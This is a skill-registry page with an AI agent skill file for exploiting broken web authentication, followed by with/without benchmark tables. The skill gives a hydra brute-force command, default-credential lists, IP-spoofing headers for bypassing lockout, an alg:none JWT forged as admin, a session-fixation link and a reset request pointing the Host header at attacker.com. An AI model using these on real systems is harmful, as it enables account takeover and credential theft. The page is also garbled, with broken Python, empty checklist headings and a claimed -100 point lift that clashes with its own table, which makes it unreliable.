Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems.
.claude/skills/lingxling-broken-authentication/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-04 | ✓→✗ | ▼ Worse | 211% | 0% |
| case-07 | ✓→✓ | = Same ✓ | 113% | 0% |
| case-05 | ✓→✓ | = Same ✓ | 153% | 0% |
| case-06 | ✓→✓ | = Same ✓ | 159% | 0% |
| case-08 | ✓→✓ | = Same ✓ | 71% | 0% |
Identify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.
Understand the application's authentication architecture:
# Identify authentication type
- Password-based (forms, basic auth, digest)
- Token-based (JWT, OAuth, API keys)
- Certificate-based (mutual TLS)
- Multi-factor (SMS, TOTP, hardware tokens)
# Map authentication endpoints
/login, /signin, /authenticate
/register, /signup
/forgot-password, /reset-password
/logout, /signout
/api/auth/*, /oauth/*Capture and analyze authentication requests:
httpPOST /login HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded username=test&password=test123
Evaluate password requirements and enforcement:
bash# Test minimum length (a, ab, abcdefgh) # Test complexity (password, password1, Password1!) # Test common weak passwords (123456, password, qwerty, admin) # Test username as password (admin/admin, test/test)
Document policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.
Test for username enumeration vulnerabilities:
bash# Compare responses for valid vs invalid usernames # Invalid: "Invalid username" vs Valid: "Invalid password" # Check timing differences, response codes, registration messages
"Email sent if account exists" (secure) "No account with that email" (leaks info)
{"error": "user_not_found"} {"error": "invalid_password"}
### Phase 4: Brute Force Testing
Test account lockout and rate limiting:
hydra -l admin -P /usr/share/wordlists/rockyou.txt \ target.com http-post-form \ "/login:username=^USER^&password=^PASS^:Invalid credentials"
Check for protections:
### Phase 5: Credential Stuffing
Test with known breached credentials:
### Phase 6: Session Management Testing
Analyze session token security:
Cookie: SESSIONID=abc123def456
Session token analysis:
#!/usr/bin/env python3 import requests import hashlib
tokens = ] for i in range(100): response = requests.get("https://target.com/login") token = response.cookies.get("SESSIONID") tokens.append(token)
### Phase 7: Session Fixation Testing
Test if session is regenerated after authentication:
GET /login HTTP/1.1 Response: Set-Cookie: SESSIONID=abc123
POST /login HTTP/1.1 Cookie: SESSIONID=abc123 username=valid&password=valid
Attack scenario:
https://target.com/login?SESSIONID=attacker_session
### Phase 8: Session Timeout Testing
Verify session expiration policies:
### Phase 9: Multi-Factor Authentication Testing
Assess MFA implementation security:
POST /api/v2/check-otp {"otp": "1234"}
Test MFA enrollment:
### Phase 10: Password Reset Testing
Analyze password reset security:
https://target.com/reset?token=abc123&user=victim
POST /forgot-password HTTP/1.1 Host: attacker.com email=victim@email.com
## Quick Reference
### Common Vulnerability Types
| Vulnerability | Risk | Test Method |
|--------------|------|-------------|
| Weak passwords | High | Policy testing, dictionary attack |
| No lockout | High | Brute force testing |
| Username enumeration | Medium | Differential response analysis |
| Session fixation | High | Pre/post-login session comparison |
| Weak session tokens | High | Entropy analysis |
| No session timeout | Medium | Long-duration session testing |
| Insecure password reset | High | Token analysis, workflow bypass |
| MFA bypass | Critical | Direct access, response manipulation |
### Credential Testing Payloads
admin:admin admin:password admin:123456 root:root test:test user:user
123456 password 12345678 qwerty abc123 password1 admin123
### Session Cookie Flags
| Flag | Purpose | Vulnerability if Missing |
|------|---------|------------------------|
| HttpOnly | Prevent JS access | XSS can steal session |
| Secure | HTTPS only | Sent over HTTP |
| SameSite | CSRF protection | Cross-site requests allowed |
| Path | URL scope | Broader exposure |
| Domain | Domain scope | Subdomain access |
| Expires | Lifetime | Persistent sessions |
### Rate Limiting Bypass Headers
X-Forwarded-For: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Remote-IP: 127.0.0.1 True-Client-IP: 127.0.0.1
## Constraints and Limitations
### Legal Requirements
- Only test with explicit written authorization
- Avoid testing with real breached credentials
- Do not access actual user accounts
- Document all testing activities
### Technical Limitations
- CAPTCHA may prevent automated testing
- Rate limiting affects brute force timing
- MFA significantly increases attack difficulty
- Some vulnerabilities require victim interaction
### Scope Considerations
- Test accounts may behave differently than production
- Some features may be disabled in test environments
- Third-party authentication may be out of scope
- Production testing requires extra caution
## Examples
### Example 1: Account Lockout Bypass
**Scenario:** Test if account lockout can be bypassed
POST /login HTTP/1.1 X-Forwarded-For: 192.168.1.1 username=admin&password=attempt1
X-Forwarded-For: 192.168.1.2
username=Admin (vs admin) username=ADMIN
### Example 2: JWT Token Attack
**Scenario:** Exploit weak JWT implementation
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.
### Example 3: Password Reset Token Exploitation
**Scenario:** Test password reset functionality
POST /forgot-password email=test@example.com
https://target.com/reset?token=a1b2c3d4e5f6
https://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com
## Troubleshooting
| Issue | Solutions |
|-------|-----------|
| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |
| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |
| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |
| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |
## When to Use
This skill is applicable to execute the workflow or actions described in the overview.| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-01 | fail→fail | 28,832 | 21,363 | -26% | 1 | 1 | 0% | 4,295 | 6,019 | +40% | 0 | 0 | — |
case-07 | pass→pass | 13,574 | 12,608 | -7% | 1 | 1 | 0% | 2,501 | 5,331 | +113% | 0 | 0 | — |
case-02 | fail→fail | 10,959 | 11,772 | +7% | 1 | 1 | 0% | 614 | 4,141 | +574% | 0 | 0 | — |
case-03 | fail→fail | 30,560 | 25,002 | -18% | 1 | 1 | 0% | 5,390 | 5,997 | +11% | 0 | 0 | — |
case-04 | pass→fail | 9,253 | 19,465 | +110% | 1 | 1 | 0% | 1,536 | 4,778 | +211% | 0 | 0 | — |
case-05 | pass→pass | 11,000 | 33,148 | +201% | 1 | 1 | 0% | 1,882 | 4,761 | +153% | 0 | 0 | — |
case-06 | pass→pass | 16,940 | 23,133 | +37% | 1 | 1 | 0% | 1,937 | 5,025 | +159% | 0 | 0 | — |
case-08 | pass→pass | 17,389 | 22,623 | +30% | 1 | 1 | 0% | 3,150 | 5,384 | +71% | 0 | 0 | — |
case-09 | pass→pass | 22,448 | 15,339 | -32% | 1 | 1 | 0% | 2,227 | 6,072 | +173% | 0 | 0 | — |
case-10 | pass→pass | 11,365 | 18,504 | +63% | 1 | 1 | 0% | 2,170 | 4,426 | +104% | 0 | 0 | — |
case-11 | pass→pass | 20,167 | 25,783 | +28% | 1 | 1 | 0% | 3,291 | 7,684 | +133% | 0 | 0 | — |
case-12 | pass→pass | 4,510 | 10,682 | +137% | 1 | 1 | 0% | 726 | 3,594 | +395% | 0 | 0 | — |
case-13 | pass→pass | 10,593 | 6,043 | -43% | 1 | 1 | 0% | 1,743 | 4,274 | +145% | 0 | 0 | — |
case-14 | pass→pass | 14,831 | 14,764 | -0% | 1 | 1 | 0% | 2,494 | 5,779 | +132% | 0 | 0 | — |
case-15 | pass→pass | 19,493 | 27,117 | +39% | 1 | 1 | 0% | 3,220 | 4,749 | +47% | 0 | 0 | — |
case-16 | pass→pass | 16,703 | 14,162 | -15% | 1 | 1 | 0% | 2,607 | 5,829 | +124% | 0 | 0 | — |
case-17 | pass→pass | 16,835 | 22,634 | +34% | 1 | 1 | 0% | 2,430 | 4,610 | +90% | 0 | 0 | — |
case-18 | pass→pass | 18,178 | 20,152 | +11% | 1 | 1 | 0% | 2,937 | 4,946 | +68% | 0 | 0 | — |
case-19 | pass→pass | 11,672 | 15,359 | +32% | 1 | 1 | 0% | 2,011 | 4,794 | +138% | 0 | 0 | — |
case-20 | pass→pass | 8,973 | 13,322 | +48% | 1 | 1 | 0% | 1,539 | 4,226 | +175% | 0 | 0 | — |
case-21 | pass→pass | 8,507 | 15,278 | +80% | 1 | 1 | 0% | 1,521 | 4,324 | +184% | 0 | 0 | — |
case-22 | pass→pass | 9,476 | 8,470 | -11% | 1 | 1 | 0% | 1,598 | 4,380 | +174% | 0 | 0 | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of -100 percentage points is the difference between those two pass rates over the 22 comparable cases. 3 cases got worse with the skill loaded, and they are included in that figure.
Other measured skills in the registry, with their headline benchmark lift.